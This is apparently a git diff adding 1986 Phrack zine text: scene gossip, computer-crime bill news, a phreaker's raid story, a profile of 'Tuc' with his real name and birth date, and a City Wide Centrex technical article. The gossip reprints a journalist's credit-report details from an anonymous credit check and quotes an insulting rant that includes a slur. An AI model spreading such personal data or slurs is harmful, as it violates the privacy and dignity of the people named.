Dent/Cyclone II/Kerrang Khan/The Seker +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Some notes from Cheap Shades: + +"I was told by Arthur Dent that Lock Lifter did not have his computer anymore, +but someone using LL's password called my AE, Metal Shop AE (for which he had +lost his AE access but could still log on), and left me feedback in all caps +(not like LL would do) that said something like PLEASE GIVE ME ACCESS TO THE +GO AE FUNCTION." Arthur Dent has now confirmed that Lock Lifter did not make +the call in question and that there is definitely a fed or someone with Lock +Lifter's BBS passwords. Sysops be warned. +_______________________________________________________________________________ + +Daniel Zigmond: The Plot Thickens July 13, 1986 +---------------------------------- +Daniel Zigmond appeared, for a short time, on Pirate-80. Scan Man let him on +to make a statement and then shut him off the board. It is now left to the +users to decide whether or not he should be allowed back on. + + Information by Sally Ride:::Space Cadet + +Some sources say that we are seeing "Whacko Cracko" syndrome, where the story +gets more and more bizarre as versions get modified. Like TWCB, Zigmond +supposedly says one thing to one person and something different to the next, +depending on what he thinks they may want to hear. + +The following information was found under in an anonymous post on an unspecific +bulletin board. It would appear that someone performed a credit check on +Daniel Zigmond (with TRW) and came up with some very interesting results. + +As many of you should know, TRW keeps records of all major transactions you +make, credit cards you have, house or car payments, bank accounts you own, your +job, and many other things. Daniel Zigmond's TRW account is a little +different, it has been flagged and the information is not there. What it does +show is that Daniel Zigmond holds the position of Staff Programmer at Carnegie +Mellon University, a technical school in Pittsburgh, Pennsylvania. It also +shows that he was born in 1959 and although it would appear that he is 27, +Daniel claims to be 26. TRW lists his only bank account as being at the +Pittsburgh National Bank. + +What this would mean is that Zigmond has never owned a car, never rented a car, +never owned or rented a house, never had a credit card, never made any major +transactions, and has only one bank account. + +During teleconferences on July 15th and 16th, several members of the PhoneLine +Phantoms and myself questioned Zigmond about his TRW account and several other +things. Zigmond claims to know nothing about why his account is like this and +up till we brought up the fact that he worked at CMU, he had been telling +people that he was a reporter only. + +As far as his reasons for needing codes, passwords, etc... He says its so his +boss (whomever it will be) will believe the story. Why shouldn't he believe +it? Haven't there been enough articles on hackers and phreakers in the past? +Its been in the news very often and I'm sure that everyone remembers the +Richard Sandza articles, "Night of The Hackers" and "Revenge of The Hackers" +from Newsweek Magazine. + +Most recently Daniel Zigmond has been speaking with several members of the Neon +Knights and he has obtained an account on the BBS World's Grave Elite, which is +sysoped by Sir Gamelord, the Vice-President of the P.H.I.R.M. + +All hackers and phreaks are welcome to call him to be interviewed, although I +advise against it. Please do not call up to rag on him because it is +pointless. One example happened during the 2nd conference when someone called +on Danny's other line. They said "did we wake you up?" Danny said "no" and +then they hung up. + + Information Provided By Daniel Zigmond +_______________________________________________________________________________ + +TeleComputist; Subscribe Now!

The merger is a result of +a joint venture spawned by the two companies parents, GTE Corporation and +United Talecommunications Inc. + +The packet switches and related equipment which make up Uninet will be sold +where possible, but a good deal of the equipment is likely to be discarded, a +spokesman for the joint venture said. + +Under the plan, the capacity of GTE Telenet Packet Switching Network will be +increased to handle additional traffic resulting from transference of U.S. +Telecom customers to Telenet, according to the spokesman. + +The study groups considered integrating Uninet and Telenet because the external +interfaces of each network are compatible but the internal protocols each +network uses for functions such as networks management are substantially +different and any attempt toward integration would require a massive +development effort, spokesman said. + +Moving Uninet's traffic to Telenet is far cheaper. Telenet currently supports +six times as much traffic as Uninet, which means Telenet's capacity must only +be incremented by one sixth. + +Uninet will be phased out over a 120 day transition period, to begin when the +joint venture is approved. The merger plan calls for all personnel of U.S. +Telecom and GTE Telenet to be offered jobs with U.S. Sprint (now called U.S. +Sprint, not Sprint/U.S. Telecom company since recent merger).

Computer crime measures are changing so fast it is +difficult to keep track of them. + +What started out as The Counterfeit Access Device and Computer Fraud Act (HR +1001) became late last month The Computer Fraud and Abuse Act (HR 4562) which, +although it has retained the same title, is now dubbed HR 4718 following the +addition of some minor amendments. + +The new bill, sponsored by Rep. William Hughes (D-N.J.), is very similar to the +old one, however, and would impose severe penalties for illegally accessing +government and financial computers and crack down on illegal computer bulletin +board systems. + +For more information on HR 4718, check the menu for bills in the US House of +Representatives in the Legislation Database. + + Information Provided by Cathryn Conroy +------------------------------------------------------------------------------- +House Committee Approves New Computer Crime Bill May 14, 1986 +------------------------------------------------ +The House Judiciary Committee has approved and sent to the full House a new +computer crime bill that would impose severe penalties for illegally accessing +government and financial computers and crack down on illegal computer bulletin +board systems. + +The bill (HR 4718), sponsored by Rep. William Hughes (D-N.J.), was passed by +voice vote with no objection. It is aimed at closing loopholes in existing law +and at helping to eliminate the "national malaise" of computer crime, Hughes +said. + +The bill "will enable us to much more effectively deal with the emerging +computer criminal in our society," said Hughes, who chairs the House crime +subcommittee. + +Rep. Bill McCollum (R-Fla.), the ranking Republican on the crime subcommittee, +added his support for the bill. He said it is time the nation began cracking +down on computer criminals. + +"We demand privacy, yet we glorify those that break into computers," McCollum +said, citing films and television shows that have painted a sympathetic +portrait of computer criminals. + +The committee agreed to a single amendment to the bill -- one that would extend +the list of computer systems protected by the measure to include those run by +the brokers and dealers regulated by the Securities and Exchange Commission. +McCollum, who sponsored the amendment, said the brokers and dealers provide +some of the same services as banks and should receive equal protection against +computer trespassers. + +The bill was reported out unanimously from the crime subcommittee. Hughes said +an identical companion measure is moving through the Senate and that he expects +the bill will become law before the end of the 99th Congress in December. +Hughes and McCollum agreed that the bill will help eliminate another glaring +example of the failure of existing federal law to keep pace with technological +advances. + +"For the most part," he said, "our laws are rooted in the concept of property +crimes, where someone trespasses into or steals another person's property. +"With computer crimes, the trespassing or theft is done electronically, not +physically," he added. "Although the losses are often just as great or even +greater than property crime, our laws are not current enough to keep pace with +the changing technology used by the criminals." + +Hughes was the author of the nation's first computer crime law in 1984. That +bill established a new federal crime for unauthorized access to classified +information in government computers and a misdemeanor for accessing any federal +computer or computer containing financial or credit information. The new +measure would establish a: + +-:- New felony for trespassing into federal interest computers, those run by or + for the federal government, banks or states. Offenders would face five-year + prison terms. + +-:- Second felony for "maliciously trespassing" into a federal interest + computer and causing more than $1,000 in damage. + +-:- New category of federal misdemeanors involving the use of illegal BBSes to + post private information, such as credit card data, phone account + information and passwords. + +"We need to establish clear guidelines for protecting the information stored in +computers and for cracking down on those who knowingly put computers to +criminal of malicious use," Hughes said. + + Information Provided by J. S. Orr +------------------------------------------------------------------------------- +Access To Government Computers Clarified June 9, 1986 +---------------------------------------- +Sen. Charles McC. Mathias (R- Md.) has introduced a bill in the U.S. Senate +that would amend Section 1030 of Title 18 of the United States Code with the +purpose of clarifying coverage with respect to access to computers operated for +or on behalf of the federal government. + +The legislation would clearly impose penalties on anyone who modified, +destroyed or prevented use of information in a government computer system or +who used or disclosed individually identifiable information in such a computer. +The bill has been referred to the Senate Committee on The Judiciary. No +subcommittee has yet been assigned. + + Information Provided by Cathryn Conroy +_______________________________________________________________________________ + +Tap Interviews II...by Dead Lord July 14, 1986 +-------------------------------- +The infamous Dead Lord is back and this time with an anonymous rag file that he +entitled Tap Interviews II to start people thinking that the Infiltrator had +written it. Lets look at this file in parts. + +First Dead Lord starts out by saying that he is Infiltrator and then changes +his mind and becomes Sharp Razor (who is supposedly in prison). His first +interview was an imaginary exchange of words between him and Lex Luthor of the +Legion Of Doom. The interview also was used to rag on Infiltrator by the way +it was presented. + +Dead Lord then decided to interview Executive Hacker of Chief Executive +Officers (CEO). The funny part about this interview is that Executive Hacker +is another handle used by Dead Lord. The only rag mentioned was that Executive +Hacker didn't know that Ultima IV had been released and that there were only +two members in CEO. Dead Lord then goes on to say, "LOD is a group of +egotistical fools..." + +Then started the straight rags without the interview crap. This is where ole +Dead Lord gives his opinion on eFerything. For the first few paragraphs he +rags on The Doctor, SpecElite, pirates in general, Monty Python, and The Flying +Circus BBS. + +Then he starts giving descriptions of the people who attend the weekly TAP +meetings: + + "Cheshire is a tired old man, Broadway Hacker, who is an obnoxious slob + anyway, stopped going, the "950 codes kids" Ninja NYC and his pals have + mostly moved on, though Ninja NYC still attends. Ninja NYC is, at 17 years + old, a complete criminal, the guy has stolen everything you can think of..." + + "Two Sigmund Frauds also attend (they are partners) one is a skinny asshole + who has an earing and the other I never spoke to, but he is he one who + supposedly does all the BBS calling. There is also some friend of Ninja's + who works for Northern Telcom." + + "There is some young guy with a French accent who always smiles, and some + middle aged fag who is always talking. Then there is MARK! Ye Mark, though + he tries to be friendly, people try to stay away. He works at a Camera..." + "He is slightly (very) unbalanced mentally, and always very confused. He is + teased constantly but tolerated." + + "There are also a few less important people, such as "Sid" some greasy kid + who is proud to have had a $1700+ fone bill because he thought he was using + a diverter. Right now, they are generally a motley bunch. Also they get + kicked out of restaurants frequently now, and are down to meeting at Burger + King. How pitiful..." + +After all of the above bullshit, he talks about Lord Digital, his "cult," and +his adventures with Paul Muad'Dib. Dead Lord still had more to say though, he +decided to bring up Monty Python again as well as Phrack, TWCB, Stronghold +East, Private Sector, and 2600 Magazine. All of what he had to say was +completely bogus and Dead Lord claimed to be a member of Metal Shop Private, +although he called it Metal Shop Elite, which is untrue. Fact is he was never +a member, not even on the old MSP. He also claims that he has submitted +articles for Phrack, but was turned down because they were original files. Best +bet is that whatever he was writing, he didn't know what he was talking about. + +Some notes to Dead Lord, as far as why Taran King was in the hospital; First +off it was a psychiatric ward not a "hospital". Second, why don't you go and +read PWN 5-1 for the real story of what happened. Third, the cosysop of +Stronghold East is not the Slayer, it is Slave Driver. + +The truth is that both MSP and SE refused to let Dead Lord on and he holds a +grudge. He then went on to say that both 2600 Magazine and Private Sector +sucked and that they always have. Of course I am sure that Dead Lord could +easily put out a better magazine then either/or 2600 and Phrack Inc., and he of +course has shown that he can run a better BBS than Private Sector or Metal Shop +Private. He ragged on several other bulletin boards such as Inner View and +Speed Demon Elite. + +After all of that he comes back to the subject of Legion of Doom, starts on +Tribunal of Knowledge, and the says why Chief Executive Officers is better. + + "LOD's main claim to fame is that Lex Luthor types up shitloads of manuals + and plasters LOD all over them. Getting published in 2600 every other month + probably helps also." + + "Another emerging group CEO, isn't as ridiculous as LOD, I mean the members + [all two of them] know a lot, and write intelligent stuff..." + + "Executive Hacker and Corporate Criminal, not much of a group even if these 2 + do stack up better than the entire LOD." + +His last rags were on Adventurer's Tavern and Disk Rigger. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Most of you by now are probably wondering how we tracked him down. Well for +starters Dead Lord made it a lot easier on us by deciding to mention that he +lived in NYC. He also talked a lot about others in the NYC area. Dead Lord is +a member of Draco Tavern. Dead Lord was refused access to Metal Shop Private +and Stronghold East. Dead Lord's file was refused for Phrack Inc. The +clincher however was in finding that Dead Lord was actually Executive Hacker, +and I'm sure that many of you noticed that CEO, the group the Executive Hacker +belongs to, was highlighted and not ragged on. + +Some other interesting things about Dead Lord include that fact that he started +a rumor in New York City, that Taran King had appeared on a talk show dealing +with hackers and the he is responsible for giving out Sigmund Fraud's and Ninja +NYC's numbers to Daniel Zigmond and he probably has given him other numbers as +well. + +It has been said that Dead Lord's phone number has been disconnected by outside +sources several times in the past and that the entire TAP Meeting attendees +group is out to cause him major physical damage. +_______________________________________________________________________________ + +Quicknotes +---------- +MOB RULES was indited on five counts of wire fraud by the secret service, the +charges dated back to 1984. This is supposedly part of the reason that the +Marauder took down Twilight Zone, but this is pure rumor. +------------------------------------------------------------------------------- +More talk about Broadway Hacker being a REAL fed or fed informant has sprung +up. We at PWN are looking for factual evidence that this is true. +------------------------------------------------------------------------------- +Night Stalker, sysop of the Underground, was busted for something dealing with +Transference of Funds. It is unknown as to if Dan Pasquale had anything to do +with this bust. Credit Card numbers were frequently found here as well.

HoloPhax Phreaker +claims that the majority of the crimes, including all of the harassment +charges, were committed on an Alliance Teleconference that he was NOT in +control of and as such had no control over what/who was called and what hap +pened. One example of this has to do with threatening the life of the +President, HoloPhax says that this was done on a confer ence with the U.S. +Secret Service. + +It all started with a phone call at about 12:30 PM on July 16, 1986. The call +was placed from a CB (Citizen's Band) radio in a car. They unknown caller told +HoloPhax that the police were on their way to search his house and would be +there in 15 minutes. The caller also said that the law enforcement officials +had a warrant to search HoloPhax's property, however they did not specify as to +what was to be looked for. HoloPhax grabbed everything he could and buried it +all in his backyard. + +Sure enough, within 15 minutes his *expected* guests arrived. One cruiser and +four unmarked vehicles pulled up blocking his and the neighbor's driveways. +About sixteen people came to the door and HoloPhax let them in, after all they +did have a warrant. Several of them pushed HoloPhax aside and then the search +started on the first floor. While some searched through the sofa, other +furniture, and drawers, a couple of them flashed the warrant as well as their +identification, U.S. Secret Service and National Security Agency. + +They then went up to HoloPhax's room and immediately check his phone's, +computer's, and television's serial numbers. They also took around 30 pictures +of things in his room. They then searched through stacks of worthless +printouts and confiscated several dozen of his disks that contained pirated +terminal programs, utilities, text files, and games. + +When they couldn't find any hack/phreak material or a modem, they became angry +and started ripping the sheets off the beds, pulling up the carpet from the +floor, and knocking on the walls. While most of them were doing this, another +agent handed HoloPhax a paper that stated exactly what they were looking for. + +He told HoloPhax that since they had not found anything on the list, they could +only leave with what little they had and could NOT take HoloPhax into custody. +They searched a couple of other rooms, but not as thorough as they had searched +HoloPhax's room. They had taken books off the shelves and flipped through +their pages, looked inside pillow cases and under some loose boards in the +floor. After 1- 1 1/2 hours they finally left and said that HoloPhax would be +contacted very soon for a hearing date. + +One of the more interesting members of the search team was Richard Proctor +(See PWN 5-5 for more information on Richard Proctor). + +He wore little round glasses that were tinted so you couldn't see his eyes. He +had long brown hair (longer than a business person should...) and was wearing a +suit. He had fair skin, but he wasn't really tan. He looked like a mix of a +dude out of Woodstock and someone from IBM management. He didn't say much, and +only spoke directly to HoloPhax once. He asked,"Where the fuck are you hiding +the codes!?" HoloPhax responded with, "Go fuck your sister!" This really +pissed Proctor off. Proctor then proceeded to tearing up his room pretty bad. +He seemed to know as much about HoloPhax as the NSA and SS guys did (but then +he was probably briefed ahead of time). + +There was also a representative from the local sheriff's department as well as +one from the F.B.I. They asked HoloPhax several questions , most of them were +directed to a "mafia" type group called PHBI that is semi-local to HoloPhax's +area. + +They seemed to want to connect HoloPhax to many "hits" PHBI had done on people, +businesses, and the government. They did not make clear what it was they were +trying to say HoloPhax did, but they sure did try many ways of tricking him +into admitting that he was a member of this group or some other phreak or +anarchist league. + +Ok, now going back to the summons, it was about ten pages long and most of it +was printouts of accounts on bulletin boards and interviews with people that +knew something of HoloPhax's activities or activities of close aquaintences. + +The Infiltrator and HoloPhax used to go to the same school in 10th grade and in +the summons there was an interview with the police officer of that school that +mentioned some of the "jobs" that "they" had pulled there and never got caught +for. Infiltrator was also mentioned in a note by some guy that was named John +Sheehan who had been harassed by phone/credit for 1 1/2 years. He said that +HoloPhax and Infiltrator were responsible for the 140 hours of tape he had. +Infiltrator was also mentioned in several BBS printouts. + +The law enforcement officials did acquire several of the older issues of Phrack +Inc. Newsletter and they kept trying to make HoloPhax admit to writing files on +credit fraud, phreaking, or hacking. Specifically, as far as hacking, were +files on MILInet and ARPAnet. + +The handle they were looking for was Agent Orange, which HoloPhax had gone by +for 6 years. He changed his handle to HoloPhax after an incident that took +place roughly a year ago when HoloPhax was busted for hacking Compuserve and +N.A.S.A. accounts. Law enforcement officers had also tried to get him for +phreaking, but that attempt failed. + +As far as the mysterious phone call before the bust, HoloPhax thinks that maybe +the PHBI got wind of what was going down and warned him. How or why he doesn't +know. It is really unknown as to why he is suspected of being a member of this +group. + +HoloPhax admits a guilty plea for the charges of Illegal Entry (Hacking), +Defrauding the phone company (Phreaking), a little harassment, and possession +of stolen property. He pleas innocent to the rest of the charges. + +HoloPhax's last statement was that he will be back into hack/phreaking in the +near (maybe distant if convicted) future. He is always available for +conferences if you have questions. + + Information Provided by HoloPhax Phreaker + through interview with Knight Lightning +_______________________________________________________________________________ + +Lightman's Stories...Hoax or Fact? July 20, 1986 +---------------------------------- +Many of you should remember last issue's article about David Lightman and Blade +Runner. After that article was printed, many other points of view were brought +up. The following does not necessarily represent the views of Phrack, Phrack +World News, or myself. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +According to Ryche, a phreak in the 214 NPA, David Lightman doesn't like Blade +Runner because of both the P.H.I.R.M. and Worlds Grave Elite kicking him out as +Co-Sysop of that board. + +This of course made David Lightman very angry and he decided to change Blade +Runner's phone number. This of course made Blade Runner very angry as well and +since he is over 18 years of age, he decided to call David's father and let him +know what his son has been up to. Supposedly father and son had a long talk +and David lost his modem privileges for a while. + +Ryche also cleared up the rumor about Blade Runner working for Southwestern +Bell Security. David Lightman, using Credimatic, performed a credit check on a +name that he thought was Blade Runner's, but was in reality a relative of Blade +Runner. Anyway what David found was that this person worked for ITT. Now as +many of you should know, ITT has many subsidiaries that are non-Telcom related. +Nevertheless, David interpreted this guy as being Blade Runner and then for +unknown reasons started telling people that Blade worked for Southwestern Bell +Security. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +That was all Ryche had to say about the Lightman/Runner Controversy. This is +what he says about David Lightman's "so-called" involvement with Captain +Midnight and the Administration Voice Mailbox. + +When Lightman started his Administration Mailbox, several of the local rodents +decided to inform the FBI that Lightman was providing a way to defraud the +phone company in the mailbox service. From then on, the FBI must have been +monitoring the mailbox themselves and when David told everyone that Captain +Midnight could receive messages there and that he called every week, this must +have made things very interesting. + +Ryche also added," Dave set out to make everyone think he knew Captain Midnight +and he could reach him. He has also, in the past on phone conversations, said +that Captain Midnight was on Administration Board 1 or some Administration +board. He has also told me and a few others that he was in the Legion Of +Doom." + Information Provided By Ryche +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Almost all of the above article was from posts on the Phrack board on Metal +Shop Private. David Lightman said that all of what Ryche says is lies, but +that he was sick of discussing it and did not want to bring it up again. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +July 23, 1986 + +One Wednesday, July 23, 1986 a new message appeared on David Lightman's Voice +Mailbox that said something like this, 'Attention, please listen! From this day +forward, I will no longer be calling any BBSes. I have run into trouble and I +cannot discuss it over the phone line. Telecom College and the Secret Passage +on Castle Alcazar will be turned over to Radar Detr. Any associates of mine +are warned to be very careful. Any sysop whose BBS I was on is asked to delete +my account. Again, I can not discuss this over the phone line. It has really +been a blast knowing all of you guys over the past 4 years. I have discovered +that no one is immune to getting caught. I have also found out [studder +studder] that it [hacking/phreaking] is not worth the price you pay once you +are caught. Please give this news to Knight Lightning and have him put it in +Phrack World News. That is the best way I know of to warn my associates. +Again I cannot discuss this over the phone line, please do not call back. +That's about it, bye.' + +Please note that the above is not Lightman's exact words, but it is the general +idea of what Lightman said. Also, on the same day, Sticky Fingers a 214 NPA +phreak got a similar message on his voice mailbox. + +On Wednesday evening at about 6:30 p.m. Mr. BiG, sysop of Phantasm Elite, +received a call from David Lightman (or rather someone using DL's password). +Lightman didn't post on this call which is unusual because Lightman always +posts when he calls. David Lightman logged off at about 6:45 PM. So if this +really was Lightman and he just didn't post then that places his "trouble" or +bust somewhere between 6:45 PM and 10:30 PM (When I called his mailbox). +Question: Who gets busted in the evening? + +The next day, July 24, Mark Time logged on to Castle Alcazar and saw that +Lightman was the last caller. Again there were no new posts by David Lightman +on the board. So, if Lightman was busted then the law enforcement agencies do +indeed have his BBS and password files. The only other possibility is that +Lightman was not busted and that this is all a hoax performed for unknown +reasons. + +On the same day, Ryche called Lightman to ask what the deal was. He refused to +talk about it over the phone. However, they did set a time that Lightman would +call him from a pay phone to discuss it. Later, Lightman called Ryche back and +told him that he would not discuss the bust until "a few more things were +cleared up." + +That evening, I learned from The Safe Cracker that David Lightman was not +actually busted and that he had received a call from AT&T Security about Blue +Boxing. This could mean that they knew he boxed [however he lives in an ESS +area] or that he was on a boxed Alliance Teleconference. Either way it matters +little. Now nobody can get in touch with him and the message on his mailbox +has changed. + + Information Provided By Sticky Fingers & Ryche +_______________________________________________________________________________ + + + + diff --git a/public/docs/PHRACK/PHRACK-8.txt b/public/docs/PHRACK/PHRACK-8.txt new file mode 100644 index 0000000..ca71bff --- /dev/null +++ b/public/docs/PHRACK/PHRACK-8.txt @@ -0,0 +1,2226 @@ + + + ==Phrack Inc.== + + Volume One, Issue Eight, Phile #1 of 9 + + Index + + Welcome to the long-awaited Phrack Inc.

Phrack Pro-Phile is created to bring +information to you, the users, about old or highly important/controversial +people. This month, I bring to you one of the most influential users of our +times and of days of old... + + TUC + ~~~ + +Tuc is the sysop of RACS III (TUCBBS), a telecom enthusiasts' bulletin board in +Stony Point, N.Y. (914). +------------------------------------------------------------------------------- +Personal +~~~~~~~~ + Handle: Tuc + Call him: Scott Jeffrey Ellentuch + Past handles: None + Handle origin: Nickname in high school derived from teachers calling him + EllenTOUCH, EllenTOOK, and his corrections were phrased + "TUCK!" + Date of Birth: 10/10/65 +Age at current date: 20-1/2 years old + Height: 6'3-1/2" + Weight: About 195 lbs. + Eye color: Brown + Hair Color: Black + Computers: TRS Model I, then, 2 Atari 800's, then, countless Apple + II+'s, then, finally, 1 IBM PC. + Sysop/Co-Sysop of: RACS III (TUCBBS), Phreak Advisor: Sherwood Forest II + +------------------------------------------------------------------------------- +Tuc started out in the BBS world in July 1980 when he first got his modem, a +Novation Acoustic. In August of 1981, Connection-80 of Stony Point, his first +bulletin board, was launched into the BBS world. It started on a TRS-80 Model +I, Epson MX-80 printer, 2 single density disk drives, a Novation Acoustic +modem, and a home built auto-answer module. At the time, he didn't even know +what phreaking was, so it was a general public board. A software switch to +RACS III occurred on January 10, 1982, running until January 10, 1985. The hard +drive arrived a few months ago to build it to the board that it currently is. + +Members of the elite world which he has met include King Blotto, Lex Luthor, +Dr. Who, Crimson Death, The Videosmith, Jester Sluggo, The Sprinter, Mark +Tabas, BIOC Agent 003, Agrajag, Telenet Bob, Big Brother, Cheshire Catalyst, +Egyptian Lover, Magnetic Surfer, Paul Muad'Dib, Lord Digital, Sir Knight, 2600 +Editor (Emanuelle Goldstein [sp.]), Susan Thunder, Modem Rider, Sharp Razor, +Hertz Tone, The Flying Avocado, and The Ace. + +His phreak experience began in March of 1982 through the new board's software +having a section called "Phreak-80". People started calling and paying +attention to it, including one caller by the name of Susan Thunder, which is +how he personally began to phreak. She lead him around the scene which +included the infamous 8 BBS and to other people such as Larry Kelly. Some of +the memorable phreak boards he was on included 8 BBS, MOM, OSUNY, The Private +414 Board (as in THE 414's), Blottoland, The Connection, L.O.D., Plovernet, +Pirate 80, Sherwood Forest I, II, and III, WOPR, IROC, Pirate Trek, Pirate's +I/O, Datanet, Stalag 13, A.I. Labs, and Hell Phrozen Over. He gives credit +for his phreak knowledge to Susan Thunder and the people that she put him in +touch with. + +Tuc's work is as a computer and communications security freelance consultant. +He's done lots of programming in basic for the TRS-80, and assembly language +for the IBM 370. + +Tuc does hack and phreak, but with his employer's consent. Tuc attends the TAP +meetings in New York occasionally, but in the past he was a regular. He's +attended all Phreak-Con's, he was an assistant editor of the original TAP, and +was a pioneer in the phreak world before blue boxing and Alliance +Teleconferencing was common knowledge. Besides that, he was the one on West +57th Street labeled "Scott Jeffrey Ellentuch". He was hard to find on that +particular program. + +Tuc has been involved with various groups in his lifetime including (in the +order that he joined them) The Warelords, The Knights of Shadow, Apple Mafia, +and, at the same time as Apple Mafia, Fargo 4A. + +------------------------------------------------------------------------------- + +Interests: Telecommunications (modeming, phreaking, hacking), martial arts + (weaponry), radio controlled cars and airplanes, and video games. + +Tuc's Favorite Things +--------------------- + + Women: A quiet evening with the girlfriend. + Cars: MG-TD Kit Car. + Foods: Anything vegetarian. + Music: The Hooters, and any band he worked for. + Leisure: Having just a "good old time". + +Most Memorable Experiences +-------------------------- + +Car ride with 8 phreaks in Tuc's VW Super Beetle at a Phreak Con. +The Fargo 4A stunt (getting all Fargo, N.D. DA's to go home). + +Some People to Mention +---------------------- + +Susan Thunder (for getting him started) +All those that helped him while he was coming up in the world (too many to + mention) + +------------------------------------------------------------------------------- + +Tuc is 150% against credit carding. He thinks that is out and out criminal +activity, something that is totally against the code of ethics of phreaking and +hacking. He also doesn't appreciate the fighting between phreaks that occurs +so often in the phreak world today. He thinks the modern community is +crumbling. + +------------------------------------------------------------------------------- + +I hope you enjoyed this phile, look forward to more Phrack Pro-Philes coming in +the near future. And now for the regularly taken poll from all interviewees. + +Of the general population of phreaks you have met, would you consider most +phreaks, if any, to be computer geeks? No names mentioned, but yes, a few of +the ones he has met are computer geeks. Thank you for your time, Tuc. + + Taran King + Sysop of Metal Shop Private + + ==Phrack Inc.== + + Volume One, Issue Eight, Phile #3 of 9 + + ^ ^ +/ + \ / + \ +%PLP%>>>>>>>>>>>>>>>>>>PLP<<<<<<<<<<<<<<<<<<%PLP% +%---% %---% +% P % The Executioner % P % +% h % % h % +% a % and the % a % +% n % % n % +% t % PhoneLine Phantoms! % t % +% o % - - - % o % +% m % % m % +% s % Present: The City Wide Centrex % s % +%---% %---% +[PLP]>>>>>>>>>>>>>>>>>>PLP<<<<<<<<<<<<<<<<<<[PLP] + + The CWC (City-Wide Centrex) feature provides multiple location large +business customers with centrex features, attendant features, and dialing +capabilities that are transparent across geographic locations and are +independent of the configuration of the #1AESS switches providing the service. +Historically, centrex customers have been somewhat limited to the bounds of the +servicing switch. Customers could be built across switches, but with +limitations. Multiple locations could be arranged to share some features in +common only when placed in a centrex complex served by a single switch. +Obviously, for this to be feasible, the locations had to be geographically near +each other. The CWC feature expands the concept of the centrex group by +allowing a multi-located business to function as a single centrex arrangement +called a CWC group. Although each customer location remains a part of its own +switch with its own individual capabilities, it now functions as part of the +CWC group. Selected centrex features that were defined to operate within the +bounds of a serving switch centrex group are now redefined to operate within +the bounds of the CWC group. The outer boundary of the CWC cannot exceed the +boundary of the LATA due to LCCIS constraints. + + The CWC feature provides a comprehensive communications package for a +multiple location centrex customer. Some advantages are: + + o Extension to Extension (Intercom) dialing. + + o Concentration of private facilities access at one location. + + o Elimination of dedicated facilities between locations within the + CWC group. + + o Transparency of feature operation across switches. + +Use of CCIS trunks to replace tie trunks results in the need for fewer total +trunks and trunk groups. Remote access reduces the total number of customer +trunks required and centralizes customer facilities at one location. All +switches need LCCIS so that information can be passed between locations. + +================== +=Intercom Dialing= +================== + + Intercom dialing gives the customer the ability to dial extension numbers +(intercom) to other locations. This is done either by dialing the interlocation +intercom number or by a speed call code which contains an interlocation +intercom number. The customer has the option of routing these interlocation +intercom calls via simulated private or public facilities. After determining +the intercom number dialed is in location, the originating office routes the +call to that location. The call is identified in the centrex customer's digit +interpreter tables as an interlocation intercom call and normal interoffice +call processing determines routing. A decision is made as to whether simulated +facilities are used for routing the call based on the location identification +of the called line. If needed, a simulated facility is seized. This is +determined by a distant line status request on the called line at the end of +dialing. The originating offices sends information to the terminating office +identifying the call as interlocation intercom call. The CWC group and +location identifier of the calling party are also sent. This is done by using +the RCLDN (retrieval of calling line directory number) to transmit this +information. The terminating office recognizes as incoming call as such. If the +two-way simulated private facilities are used, the count on facilities at the +terminating office is incremented. The use of 2 way simulated pricate +facilities for a call is based on the location identifier of the calling line +and whether simulated private facilities were used on the outgoing side. + +=========================== +=Centrex Attendant Console= +=========================== + + The tie trunks are replaced by CCIS trunks, therefore some changes are +required in the use of the attendant console. The changes are as follows: + + o Busy Verification and attendant call through tests are not applicable + since there will no longer be specific trunks dedicated to the customer. + + o The existing trunk group busy lamps are replaced with busy lamps for the + simulated facilities between locations. + + The digit interpreter table entry at each remote location contains the +"Dial 0" DN for the attendant. This is done to process interlocation intercom +calls which terminate to the attendant. If the attendant console uses a centrex +data link, the line equipment assigned to the DN should specify the call +indicator lamp to be used. A different DN should be used for each location if +separate call indicator lamps are desired for calls from each location. This +call indicator lamp flashes at the intragroup rate of 120ipm (interruptions per +minute) to indicate interlocation intercom calls. + The RCLDN primitive is used to transmit information for intercom dialing +between locations. In addition, the RDLS priminitive is used to provide CWC +information to obtain the CWC group and location identifier of the called line. +The originating, incoming, and CCIS incoming registers are used to save +information at both he originating and terminating offices. These registers +include the CWC group, CWC location identifier, a CWC call type, and an +indicator whether simulated facilities were used at the originating. + +========================== +=Remote Access to Private= += Facilities = +========================== + + Remote access to private facilities allows the CWC customer to access +physical private trunks and simulated facilities at a single location. This +allows customers to consolidate their private facilities at one location. The +number of trunks required is reduced. Any station can access these facilities +by dialing the same access code as the main location. If a station dials the +access code for a private facility, the call is routed to the main location +using the same facility as an interlocation intercom call. It is then routed +out from the main location. The CWC feature does not allow the customer to use +the ACOF (Attendant Control of facilities) feature from a remote location. The +types of private facilities which are accessible are: + + o Tie Trunks + o FX (Foreign Exchange) + o CCSA (Commmon Control switching arrangement) + o ETS (Electronic Tandem Switching) + o WATS (Wide Area Telecommunications system) + o FRS (Flexible Route selection) + o EEDP (expanded electronic tandem switching dialing plan) + + The CCIS direct signalling messages are used to communicate between the +remote and main locations during the digit collection and analysis of out-going +calls. Once the voice path has been established, a CCIS banded signalling +message transmits the digits collected. A remote access register is used to +store information retrieved during the processing of the signal requests. This +register belongs to the OR (Originating Register) pool at the main location. + The remote location is responsible for digit collection and transmission +of collected digits. A remote access data CCIS direct signalling message +transmits the digits from the remote to the main location, which returns +instructions for the next action to be performed. The following items are sent +from the remote to the main location: + + o The digits collected. + o The FRL(facility restriction level) of orig. line. + o A FRL present indicator + o A customer changeable speed call indicator. + o A call forwarding over private facilities indic. + o An add-on indicator. + o The CC location identifier of remote location. + o The remote access register # of the main location. + o An abandon remote access request indicator. + + The main location analyzes the information transmitted and returns the +next set of instructions to the remote location. The full analysis of a call +may require several direct signalling messages with information saved from the +previous direct signalling messages. This is required to process the current +direct signalling message being saved in the remote register. The information +gathered is used to establish the voice path for the call. Upon receipt of a +direct signalling request, processing is done in accordance with the function +indicated in the remote register. The types are as follows: + + o Translate access code + o Translate prefix digit + o "1+" dialing check + o Check for possible account code + o Complete account code received + o 3 digit translation + o 6 digit translation + o 10 digit translation + o 